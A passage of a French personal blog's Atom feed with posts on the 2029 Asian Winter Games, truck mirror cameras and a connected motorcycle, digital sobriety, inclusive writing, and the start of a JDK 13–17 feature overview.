&lt;p&gt;— Est-ce que tu crois qu&amp;rsquo;ils l&amp;rsquo;ont fait ?&lt;br&gt;
— Est-ce que tu crois qu&amp;rsquo;ils l&amp;rsquo;ont fait ?&lt;br&gt;
— Oui, ils l&amp;rsquo;ont fait !&lt;br&gt;
— Mais ils se sont arrêtés là.&lt;/p&gt;
&lt;p&gt;Au café du coin, les sages se demandent si tant qu&amp;rsquo;à faire on n&amp;rsquo;organiserait pas les jeux olympiques d&amp;rsquo;hiver dans un pays chaud. Au point où l&amp;rsquo;on en est en Absurdie, ce ne serait que normal. La bonne blague.&lt;/p&gt;
&lt;p&gt;(Retour de notre ami Ben)&lt;br&gt;
— Est-ce que tu crois qu&amp;rsquo;ils l&amp;rsquo;ont fait ?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Oui, ils l&amp;rsquo;ont fait !&lt;/em&gt; Presque. Ce sont les &lt;a href="https://www.lesoir.be/469190/article/2022-10-04/les-jeux-asiatiques-dhiver-2029-seront-organises-en-arabie-saoudite"&gt;jeux Asiatiques d&amp;rsquo;Hiver&lt;/a&gt; qui seront organisés en Arabie Saoudite en 2029.&lt;/p&gt;
&lt;p&gt;Dormons tranquille quelques années. Envoyons 2, 3 &lt;em&gt;tweets&lt;/em&gt; fin 2028 pour dire que c&amp;rsquo;est nul et en attendant, je vais aller revoir &lt;a href="https://fr.wikipedia.org/wiki/Idiocracy"&gt;Idiocracy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Just a film. Not a documentary.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://fr.wikipedia.org/wiki/Idiocracy"&gt;Wikipedia&lt;/a&gt;.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Outre la référence à « Idiocracy », il y a aussi une référence (cachée) à « &lt;a href="https://fr.wikipedia.org/wiki/C%27est_arriv%C3%A9_pr%C3%A8s_de_chez_vous"&gt;C&amp;rsquo;est arrivé près de chez vous&lt;/a&gt; »&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Technologie. Aller dans le bon sens.</title><link href="http://blog.namok.be/2022-08-22-technologie-aller-dans-le-bon-sens.html" rel="alternate"/><published>2022-08-22T00:00:00+02:00</published><updated>2022-08-22T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2022-08-22:/2022-08-22-technologie-aller-dans-le-bon-sens.html</id><summary type="html">Technologie. Aller dans le bon sens.</summary><content type="html">&lt;p&gt;&lt;img alt="arc-vector.jpg, août 2022" src="/images/arc-vector.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Sur l&amp;rsquo;autoroute des vacances, j&amp;rsquo;ai croisé &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; pas mal de camions. De « bons vieux » camions pleins de rétroviseurs — et d&amp;rsquo;angles mort d&amp;rsquo;ailleurs qui sont de mieux en mieux signalés — et d&amp;rsquo;autres ne semblant avoir qu&amp;rsquo;un tout petit rétro. Il s&amp;rsquo;agit d&amp;rsquo;un ensemble de caméras remplaçant les simples miroirs habituels. &lt;/p&gt;
&lt;p&gt;La &lt;strong&gt;&lt;a href="https://www.mercedes-benz-trucks.com/fr_BL/brand/news/press-releases/des-cameras-plutot-que-des-retroviseurs-est-ce-possible-tout-ce-que-vous-avez-toujours-voulu-savoir-sur-le-mirrorcam.html"&gt;mirrorcam&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;La technologie — vendue comme plus sécurisée et économique — remplace un miroir peu cher, facile à produire et qui ne souffre jamais de pannes par plusieurs caméras et un écran qu&amp;rsquo;il faut alimenter, produire, réparer ou jeter… &lt;/p&gt;
&lt;p&gt;Est-ce utile ?&lt;br&gt;
&lt;em&gt;Spoiler alert&lt;/em&gt;, je pense que non.&lt;/p&gt;
&lt;p&gt;Dans mon lecteur de nouvelles ce matin, je vois passer l&amp;rsquo;annonce de sortie de dix exemplaires de la &lt;a href="https://www.journaldugeek.com/2022/08/20/la-moto-electrique-arc-vector-et-ses-couteux-accessoires-connectes-bientot-sur-la-route/"&gt;&lt;strong&gt;nouvelle moto électrique anglaise Arc&lt;/strong&gt;&lt;/a&gt;. Un modèle tout sorti de &lt;em&gt;Tron&lt;/em&gt; — mais qui connait encore &lt;a href="https://fr.wikipedia.org/wiki/Tron"&gt;ce film&lt;/a&gt; ? La moto est fournie avec l&amp;rsquo;équipement &lt;em&gt;qui va bien&lt;/em&gt;. C&amp;rsquo;est beau. Ça a de la gueule.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;équipement constitué d&amp;rsquo;un casque et d&amp;rsquo;une veste, est connecté. &lt;/p&gt;
&lt;p&gt;— Mon Dieu !&lt;/p&gt;
&lt;p&gt;Un écran dans le casque affichant la vitesse… et celles des autres véhicules alentour, l&amp;rsquo;itinéraire et le flux vidéo de la caméra arrière. La veste quant-à elle propose des vibrations haptiques lorsqu&amp;rsquo;un autre véhicule entre dans le périmètre de la moto.&lt;/p&gt;
&lt;p&gt;La technologie, remplace ici la capacité intrinsèque de la ou du pilote de &lt;em&gt;sentir&lt;/em&gt; son environnement extérieur. Elle réduit l&amp;rsquo;humain. Ses capacités. Elle va induire une baisse d&amp;rsquo;attention à la route. C&amp;rsquo;est vendu pour accroitre la sacro-sainte sécurité. Des caméras, des écrans, des capteurs, du wifi… Est-ce utile ?&lt;/p&gt;
&lt;p&gt;Ma part joueuse — ou &lt;em&gt;geek&lt;/em&gt; si tu préfères — aime l&amp;rsquo;IOT (&lt;em&gt;internet of thinks&lt;/em&gt;, les objets connectés). C&amp;rsquo;est excitant et intéressant de jouer avec la technologie, de mettre en place des objets qui communiquent… Ma part humaine dans un monde qui &lt;a href="https://www.lalibre.be/debats/opinions/2022/08/21/nest-il-pas-temps-de-preparer-un-pacte-ecologique-2RIRPQYQUJCIVKDAOLRQNM6GSM/"&gt;doit réfléchir à sa transition écologique&lt;/a&gt;… moins.&lt;/p&gt;
&lt;p&gt;Toutes les personnes qui travaillent dans l&amp;rsquo;IT doivent — devraient car je n&amp;rsquo;impose rien, je parle et c&amp;rsquo;est tout — se demander si ce qu&amp;rsquo;elles mettent en place &lt;em&gt;va dans le bon sens&lt;/em&gt;. Le bon sens, c&amp;rsquo;est le mien ;-) Plus sérieusement, le bon sens c&amp;rsquo;est celui qui permettra à tous et toutes de vivre sur une terre habitable… pour l&amp;rsquo;instant, plein d&amp;rsquo;initiatives ne vont pas dans ce bon sens.&lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;est plus l&amp;rsquo;heure de se demander si une technologie est &lt;strong&gt;utile&lt;/strong&gt;.&lt;br&gt;
C&amp;rsquo;est le moment de se demander si une technologie est &lt;strong&gt;nécessaire&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo &lt;a href="https://electrek.co/2022/01/04/120000-arc-vector-electric-motorcycle-back-from-the-dead-preparing-for-deliveries/"&gt;electrek.co&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Que l&amp;rsquo;on se rassure, bien que je dise croisé, il s&amp;rsquo;agissait de dépassement et « j&amp;rsquo;étais dans le bon sens ».&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Sobriété numérique</title><link href="http://blog.namok.be/2022-01-11-sobriete-numerique.html" rel="alternate"/><published>2022-01-11T00:00:00+01:00</published><updated>2022-01-11T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2022-01-11:/2022-01-11-sobriete-numerique.html</id><summary type="html">Sobriété numérique</summary><content type="html">&lt;p&gt;&lt;img alt="ampoule-livermore.jpg, janv. 2022" src="/images/ampoule-livermore.webp"&gt;&lt;/p&gt;
&lt;p&gt;Nous regardions un peu par hasard dans la salle des profs &lt;a href="https://programmation.developpez.com/actu/253829/Programmation-une-etude-revele-les-langages-les-plus-voraces-en-energie-Perl-Python-et-Ruby-en-tete-C-Rust-et-Cplusplus-les-langages-les-plus-verts/"&gt;quel est le langage de programmation le plus écologique&lt;/a&gt;. Un rapide coup d&amp;rsquo;œil nous montre que &lt;a href="https://en.cppreference.com/w/c"&gt;C&lt;/a&gt; est en tête des langages les moins énergivores suivi de près par &lt;a href="https://www.rust-lang.org/fr"&gt;Rust&lt;/a&gt; (que je vous conseille mais c&amp;rsquo;est une autre histoire)… et qu&amp;rsquo;en queue de peloton se trouvent &lt;a href="https://formation-perl.fr/guide-perl.html"&gt;Perl&lt;/a&gt; et &lt;a href="https://www.python.org/"&gt;Python&lt;/a&gt; deux langages très répandus. Que faire ?&lt;/p&gt;
&lt;p&gt;Depuis lors, cette idée de &lt;em&gt;sobriété numérique&lt;/em&gt; me trotte un peu plus dans la tête et me pose plusieurs questions. Outre le langage de programmation utilisé — ce qui est, somme toute, une question de développeur et développeuse — &lt;strong&gt;est-ce que mon usage du numérique peut être écologique ?&lt;/strong&gt; La réponse est bien sûr non. Je reformule donc un peu. Est-ce que je peux avoir un usage du numérique sobre ? Sans excès ? Raisonnable ?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Quelle est ma consommation de bande passante dans ma vie de tous les jours ?&lt;/li&gt;
&lt;li&gt;Avec Deezer (Spotify, c&amp;rsquo;est pareil) j&amp;rsquo;augmente la bande passante que j&amp;rsquo;utilise. Faudrait-il retourner à un système où ma musique est locale. Mais comment ?&lt;/li&gt;
&lt;li&gt;De combien de serveurs est-ce que je dépends ?&lt;/li&gt;
&lt;li&gt;À quelle fréquence est-ce que je change de smartphone ?&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En recevant le &lt;a href="https://connect.ed-diamond.com/linux-pratique/lp-129"&gt;Linux Pratique n°129&lt;/a&gt;, je me rends compte que je ne suis pas le seul à me poser la question. C&amp;rsquo;est déjà ça.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Olivier, le processeur de l&amp;rsquo;ordinateur a lâché. Oui, 5 ans c&amp;rsquo;est énorme. Bon, ben, je commande un nouvel ordinateur…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cette mise en situation proposée par Olivier Delhomme me rend malade bien que l&amp;rsquo;on en soit tous et toutes — vraiment pas sûr — conscientes. Je ne peux m&amp;rsquo;empêcher de penser &lt;a href="https://fr.wikipedia.org/wiki/Ampoule_centenaire"&gt;à la plus vieille ampoule du monde chez les pompiers de Livermore&lt;/a&gt; signe de notre capacité à produire des objets « qui durent » et que l&amp;rsquo;obsolescence est, par essence, programmée. Que faire ?&lt;/p&gt;
&lt;p&gt;Les maitres mots sont &lt;strong&gt;recyclage&lt;/strong&gt; et &lt;strong&gt;réparabilité&lt;/strong&gt;… et on en est malheureusement encore loin.&lt;/p&gt;
&lt;p&gt;Au sujet du &lt;strong&gt;matériel&lt;/strong&gt;, la base c&amp;rsquo;est d&amp;rsquo;essayer d&amp;rsquo;acheter d&amp;rsquo;occasion et du matériel réparable. Un pas plus loin, l&amp;rsquo;auteur propose de ne pas posséder le matériel que nous utilisons peu mais de le partager. Peut-on envisager de demander l&amp;rsquo;ordinateur de son voisin alors qu&amp;rsquo;aujourd&amp;rsquo;hui presque chacun a le sien ? Quand il n&amp;rsquo;en a qu&amp;rsquo;un ! Ai-je besoin d&amp;rsquo;un &lt;em&gt;desktop&lt;/em&gt;, d&amp;rsquo;un &lt;em&gt;laptop&lt;/em&gt;, d&amp;rsquo;une tablette et d&amp;rsquo;un smartphone ? &lt;/p&gt;
&lt;p&gt;Pour commencer tout doucement, lorsque tu as besoin d&amp;rsquo;un nouveau smartphone — mais en as-tu réellement besoin ? Ne peut-il pas « tenir » un an encore ? — va d&amp;rsquo;abord voir sur &lt;a href="http://backmarket.be/"&gt;backmarket.be&lt;/a&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; pas exemple, s&amp;rsquo;il n&amp;rsquo;y en a pas un de seconde main.&lt;/p&gt;
&lt;p&gt;Au sujet de l&amp;rsquo;&lt;strong&gt;énergie&lt;/strong&gt;, nous avons lu et entendu qu&amp;rsquo;il ne fallait pas laisser de lampes allumées dans les pièces où l&amp;rsquo;on ne se trouve pas, qu&amp;rsquo;il est bon de ne pas laisser les appareils en veille mais de les éteindre… mais que consomment-ils lorsque nous les utilisons ? &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Il me semble mieux de &lt;a href="https://geeko.lesoir.be/2021/08/06/le-mode-sombre-na-que-peu-dimpact-sur-lautonomie-du-smartphone/"&gt;limiter la luminosité de son écran que d&amp;rsquo;utiliser le mode sombre&lt;/a&gt;. C&amp;rsquo;est sans doute automatique sur son smartphone mais pas sur son &lt;em&gt;laptop&lt;/em&gt; ni sur sa TV mais ça se fait facilement. À propos, faut-il se préparer à ne pas pouvoir recharger son appareil quand on veut mais quand on peut ?&lt;/p&gt;
&lt;p&gt;Au sujet du &lt;strong&gt;logiciel&lt;/strong&gt;, ne sont pas concernées uniquement les personnes qui développent les logiciels. Les usagers et usagères peuvent aussi faire des choix. Au risque de se répéter les &lt;strong&gt;logiciels libres&lt;/strong&gt; ont quelques avantages en termes de recyclage et réparabilité :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;linux&lt;/em&gt; permet d&amp;rsquo;utiliser des machines plus anciennes là où &lt;em&gt;MS Windows&lt;/em&gt; encourage le changement de matériel après quelques mise à jour ;&lt;/li&gt;
&lt;li&gt;les logiciels libres sont réparable et non-obsolètes puisque l&amp;rsquo;accès au code permet à des développeurs ou développeuses de reprendre le projet.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dans la même veine, l&amp;rsquo;auteur de l&amp;rsquo;article propose que la machine du développeur ou de la développeuse soit assez modeste afin de l&amp;rsquo;encourager à développer du code pour une machine modeste (taille d&amp;rsquo;écran, ressource de calcul (CPU), ou espace disque).&lt;/p&gt;
&lt;p&gt;&lt;a href="https://eco-conception.designersethiques.org/guide/fr/"&gt;Le guide d’éco-conception de services numériques de &lt;em&gt;designers éthiques&lt;/em&gt;&lt;/a&gt; et &lt;a href="https://walloniedesign.be/dossiers/eco-conception-web/"&gt;celui de &lt;em&gt;wallonie design&lt;/em&gt;&lt;/a&gt; sont sans doute de bonnes lectures.&lt;/p&gt;
&lt;p&gt;Bref, nous ne savons pas vers où nous allons mais nous y allons… et sans une volonté politique qui ne se laissera pas guider par les constructeurs, on peut dire que l&amp;rsquo;on va dans le mur… &lt;strong&gt;bonne année !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo au hasard du web, l&amp;rsquo;ampoule à Livermoore.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Non, cet article n&amp;rsquo;est pas sponsorisé (lol) et il doit exister d&amp;rsquo;autres sites d&amp;rsquo;articles &lt;em&gt;it&lt;/em&gt; de seconde main.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Perso quand j&amp;rsquo;ai acheté ma TV — elle doit avoir 15 ans maintenant — j&amp;rsquo;ai regardé quelle était sa consommation. Pas par soucis d&amp;rsquo;économie mais par soucis d&amp;rsquo;&lt;em&gt;écolonomie&lt;/em&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Les gars et les garces</title><link href="http://blog.namok.be/2021-11-24-les-gars-et-les-garces.html" rel="alternate"/><published>2021-11-24T00:00:00+01:00</published><updated>2021-11-24T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2021-11-24:/2021-11-24-les-gars-et-les-garces.html</id><summary type="html">Réflexion humoristique sur l'écriture inclusive à travers l'expression « les gars et les garces ».</summary><content type="html">&lt;p&gt;&lt;img alt="criatura__by_cristina_otero_d3imedp_1200.jpg, nov. 2021" src="https://blog.namok.be/public/images/divers/2021/criatura__by_cristina_otero_d3imedp_1200.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Dans un soucis d&amp;rsquo;inclusion j&amp;rsquo;écris souvent et je dis « Salut à tous et à toutes ».&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;écriture inclusive m&amp;rsquo;intéresse beaucoup parce que c&amp;rsquo;est à la mode sans doute. Parce que ça m&amp;rsquo;amuse de jouer avec la langue surtout. Pas vraiment parce qu&amp;rsquo;elle permet d&amp;rsquo;inclure car je ne suis pas (encore) convaincu que c&amp;rsquo;est l&amp;rsquo;écriture inclusive qui inclut. Je crois qu&amp;rsquo;il est bon d&amp;rsquo;être attentif à toutes nos différences et essayer d&amp;rsquo;accueillir l&amp;rsquo;autre avec les siennes, avec les miennes. Essayer d&amp;rsquo;être accueillant, ce n&amp;rsquo;est pas tenter, à priori, de n&amp;rsquo;oublier personne. De les citer toutes. &lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, ça parle principalement d&amp;rsquo;une seule différence. On parlera de masculin / féminin (ou féminin / masculin si l&amp;rsquo;on préfère) dans l&amp;rsquo;écriture et le langage.&lt;/p&gt;
&lt;p&gt;Rappel : l&amp;rsquo;écriture inclusive, ce n&amp;rsquo;est pas &lt;em&gt;que&lt;/em&gt; le point médian &amp;rsquo;&lt;code&gt;·&lt;/code&gt;&amp;rsquo;. Le point médian est le dernier recours lorsque l&amp;rsquo;on écrit. Je préfère donc d&amp;rsquo;abord utiliser « tous et toutes » (la double flexion) et parfois, s&amp;rsquo;il le faut, si c&amp;rsquo;est obligé, s&amp;rsquo;il n&amp;rsquo;y a rien d&amp;rsquo;épicène, écrire alors « toustes » ou « tous·tes » (jamais « tou·te·s » car &lt;em&gt;trop de points médians tuent le point médian&lt;/em&gt;). Pour en savoir plus, un article auquel j&amp;rsquo;agrée en tous points.&lt;/p&gt;
&lt;p&gt;Écriture inclusive : faisons le point autour de la cheminée&lt;br&gt;
&lt;a href="https://www.24joursdeweb.fr/2017/ecriture-inclusive-faisons-le-point-autour-de-la-cheminee/"&gt;https://www.24joursdeweb.fr/2017/ecriture-inclusive-faisons-le-point-autour-de-la-cheminee/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Bref, si je disais « salut à tous » — ou « salut &lt;em&gt;tertous&lt;/em&gt; » dans le patois local — que j&amp;rsquo;ai remplacé par « salut à tous et à toutes », j&amp;rsquo;aime bien changer parfois et dire « salut les gars ». Ça fait &lt;em&gt;coooool&lt;/em&gt;, moins sérieux, un peu plus familier… Dans un soucis d&amp;rsquo;inclusion &lt;em&gt;bla bla&lt;/em&gt;, et en étant (un peu) moins sérieux, j&amp;rsquo;ose donc :&lt;/p&gt;
&lt;p&gt;« &lt;strong&gt;Salut les gars et les garces&lt;/strong&gt; ».&lt;/p&gt;
&lt;p&gt;Les réactions sont diverses :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un sourire quand on accepte cet humour ;&lt;/li&gt;
&lt;li&gt;un sourire nerveux que l&amp;rsquo;on force parce que c&amp;rsquo;est sans doute mieux de &lt;em&gt;faire bien&lt;/em&gt; par rapport à l&amp;rsquo;injonction machiste et que l&amp;rsquo;on est prise de court ;&lt;/li&gt;
&lt;li&gt;un froncement de sourcil qui dit : « heu, c&amp;rsquo;est pas drôle » ;&lt;/li&gt;
&lt;li&gt;un haussement de sourcil qui dit : « &lt;em&gt;seriously&lt;/em&gt; » ;&lt;/li&gt;
&lt;li&gt;aucune, j&amp;rsquo;ai le nez dans mon smartphone.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finalement est-ce de l&amp;rsquo;humour — que l&amp;rsquo;on peut trouver déplacé ou pas — ou être en avance (ou en retard) sur son temps ? (Comme beaucoup je me plais à croire être un précurseur, un &lt;em&gt;lanceur… d&amp;rsquo;idioties&lt;/em&gt;…). Hier, je regardais &lt;a href="https://orthogrenoble.net/mots-nouveaux-dictionnaires/"&gt;les nouveaux mots qui arrivent dans le dictionnaire&lt;/a&gt; et je vois qu&amp;rsquo;il s&amp;rsquo;y trouve des mots qui existent déjà mais dont le sens s&amp;rsquo;est étoffé. Par exemple, &lt;a href="https://www.projet-voltaire.fr/divers/nouveaux-mots-du-petit-larousse-et-du-petit-robert-2022-que-disent-ils-de-nous/"&gt;cluster, écouvillon ou confinement&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Je regarde aussi la définition de garce en cherchant les plus gentilles,&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;dans &lt;a href="https://dictionnaire.lerobert.com/definition/garce"&gt;Le Robert&lt;/a&gt;, le sens 1 dit&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Vieux&lt;/em&gt; Femme, fille&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;dans le &lt;a href="https://www.larousse.fr/dictionnaires/francais/garce/36082"&gt;Larousse&lt;/a&gt;, le sens 3 dit&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Jeune fille ou femme en général, souvent avec une nuance admirative pour son aspect physique : Une belle garce.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;dans le centre national de ressources textuelles et lexicales (&lt;a href="https://www.cnrtl.fr/definition/garce"&gt;cnrtl&lt;/a&gt;) le sens A1 dit &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I. − Subst. fém. A. − [Les subst. masc. corresp. sont garçon et gars] Synon. (jeune) fille. Vx. Adolescente.&lt;br&gt;
Elle (&amp;hellip;) retrouva des jambes de jeune garce, s&amp;rsquo;occupa des papiers de sa nièce (Zola, Terre,1887, p. 384).&lt;br&gt;
De son temps encore, les petits gars et les petites garces du village venaient faire, en manière de jeu, le diable et la belle Orberose (A. France, Île ping.,1908, p. 178).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Bon, c&amp;rsquo;est pas gagné !&lt;/p&gt;
&lt;p&gt;Je décide de me baser sur… les définitions qui m&amp;rsquo;arrangent, celle du &lt;a href="https://dictionnaire.lerobert.com/definition/garce"&gt;Robert&lt;/a&gt; et celle du &lt;em&gt;&lt;a href="https://www.cnrtl.fr/definition/garce"&gt;cnrtl&lt;/a&gt;&lt;/em&gt;. Je citerai même Anatole France s&amp;rsquo;il le faut pour essayer que l&amp;rsquo;an prochain, les dictionnaires étoffent le mot &lt;em&gt;garce&lt;/em&gt; d&amp;rsquo;une nouvelle définition basée sur la &lt;a href="https://www.cnrtl.fr/definition/gars"&gt;définition de &lt;em&gt;gars&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;GARCE &lt;em&gt;[ɡaʁs]&lt;/em&gt; n.f. (Nom masculin correspondant, &lt;em&gt;gars&lt;/em&gt;) Fille, jeune femme. Fille qui inspire la sympathie, qui ne fait pas d&amp;rsquo;histoires. &lt;em&gt;Une bonne, une brave garce; une jeune garce&lt;/em&gt;. Familier : &lt;em&gt;Salut les garces !&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;À la lumière de cette nouvelle définition, que personne ne soit surpris &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; si je lance un tonitruant « Salut les gars et les garces » c&amp;rsquo;est que les personnes concernées m&amp;rsquo;inspirent la sympathie…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="https://www.deviantart.com/cristina-otero/art/criatura-212676685"&gt;Christina&lt;/a&gt;. À défaut d&amp;rsquo;un haussement de sourcil, un œil réprobateur.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je remplace « ne soyez pas surpris » que j&amp;rsquo;aurais du &lt;em&gt;double-flexer&lt;/em&gt; ou affubler d&amp;rsquo;un point médian par « Que personne ne soit surpris ». Pour moi, c&amp;rsquo;est ça une écriture inclusive.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>JDK13 - JDK14 - JDK15 - JDK16 - JDK17, quelques nouveautés</title><link href="http://blog.namok.be/2021-09-24-JDK13-JDK14-JDK15-JDK16-JDK17.html" rel="alternate"/><published>2021-09-24T00:00:00+02:00</published><updated>2021-09-24T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2021-09-24:/2021-09-24-JDK13-JDK14-JDK15-JDK16-JDK17.html</id><summary type="html">JDK13 - JDK14 - JDK15 - JDK16 - JDK17, quelques nouveautés</summary><content type="html">&lt;p&gt;&lt;img alt="champignons.jpg, sept. 2021" src="/images/champignons.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR : c&amp;rsquo;est long !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Je savais qu&amp;rsquo;avec le changement — l&amp;rsquo;accélération plutôt — des cycles de sortie des versions de Java, je ne parviendrais plus trop à suivre. Je m&amp;rsquo;étais promis de suivre les versions LTS… c&amp;rsquo;est ce que j&amp;rsquo;essaie de faire.&lt;/p&gt;
&lt;p&gt;Ce billet est la suite des billets « &lt;a href="2011-07-11-jdk7.html"&gt;Java 7 is out, quel est son lot de nouveautés ?&lt;/a&gt; », « &lt;a href="2014-06-03-jdk8.html"&gt;JDK8, les nouveautés&lt;/a&gt; », « &lt;a href="2018-03-22-JDK9.html"&gt;JDK9, les nouveautés&lt;/a&gt; » et « &lt;a href="2019-04-06-JDK10-11-12.html"&gt;JDK10, 11 et 12, quelques nouveautés&lt;/a&gt; »&lt;/p&gt;
&lt;p&gt;Ce billet, comme les précédents, ne se veut pas exhaustif, je prends ce que je trouve intéressant (et comprends) dans les articles d&amp;rsquo;&lt;em&gt;openjdk&lt;/em&gt; sur le sujet ; &lt;a href="https://openjdk.java.net/projects/jdk/13/"&gt;JDK13&lt;/a&gt;, &lt;a href="https://openjdk.java.net/projects/jdk/14/"&gt;JDK14&lt;/a&gt;, &lt;a href="https://openjdk.java.net/projects/jdk/15/"&gt;JDK15&lt;/a&gt;, &lt;a href="https://openjdk.java.net/projects/jdk/16/"&gt;JDK16&lt;/a&gt; et &lt;a href="https://openjdk.java.net/projects/jdk/17/"&gt;JDK17&lt;/a&gt;. J&amp;rsquo;aborde parfois les &lt;em&gt;preview&lt;/em&gt; et les &lt;em&gt;second preview&lt;/em&gt; mais en général, je n&amp;rsquo;en parle que lorsqu&amp;rsquo;elles sont inclues dans le JDK.&lt;/p&gt;
&lt;h1&gt;JDK 13&lt;/h1&gt;
&lt;p&gt;Le &lt;em&gt;switch expression&lt;/em&gt; (présenté dans « &lt;a href="2019-04-06-JDK10-11-12.html"&gt;JDK10, 11 et 12, quelques nouveautés&lt;/a&gt; ») est toujours en &lt;em&gt;preview&lt;/em&gt; mais ça arrive avec JDK14. .&lt;/p&gt;
&lt;p&gt;En &lt;em&gt;preview&lt;/em&gt; également, les &lt;strong&gt;blocs de texte&lt;/strong&gt; (&lt;em&gt;text blocks&lt;/em&gt;, &lt;a href="https://openjdk.java.net/jeps/355"&gt;JEP355&lt;/a&gt;). Ils arrivent vraiment avec JDK15.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;implémentation de l&amp;rsquo;API « socket » est réimplémentée (&lt;a href="https://openjdk.java.net/jeps/353"&gt;JEP353&lt;/a&gt;). Il s&amp;rsquo;agit de la classe utilisée par &lt;code&gt;java.net.Socket&lt;/code&gt; et &lt;code&gt;java.net.ServerSocket&lt;/code&gt;. L&amp;rsquo;ancienne implémentation contient du vieux code C et Java. Par défaut, ce n&amp;rsquo;est plus la classe &lt;code&gt;PlainSocketImpl&lt;/code&gt; qui implémente &lt;code&gt;java.net.SocketImpl&lt;/code&gt; mais &lt;code&gt;NioSocketImpl&lt;/code&gt;. L&amp;rsquo;ancienne implémentation reste disponible dans le JDK et peut être activée par une propriété du système (&lt;em&gt;system property&lt;/em&gt;).&lt;/p&gt;
&lt;h1&gt;JDK 14&lt;/h1&gt;
&lt;h2&gt;&lt;em&gt;Switch expression&lt;/em&gt;&lt;/h2&gt;
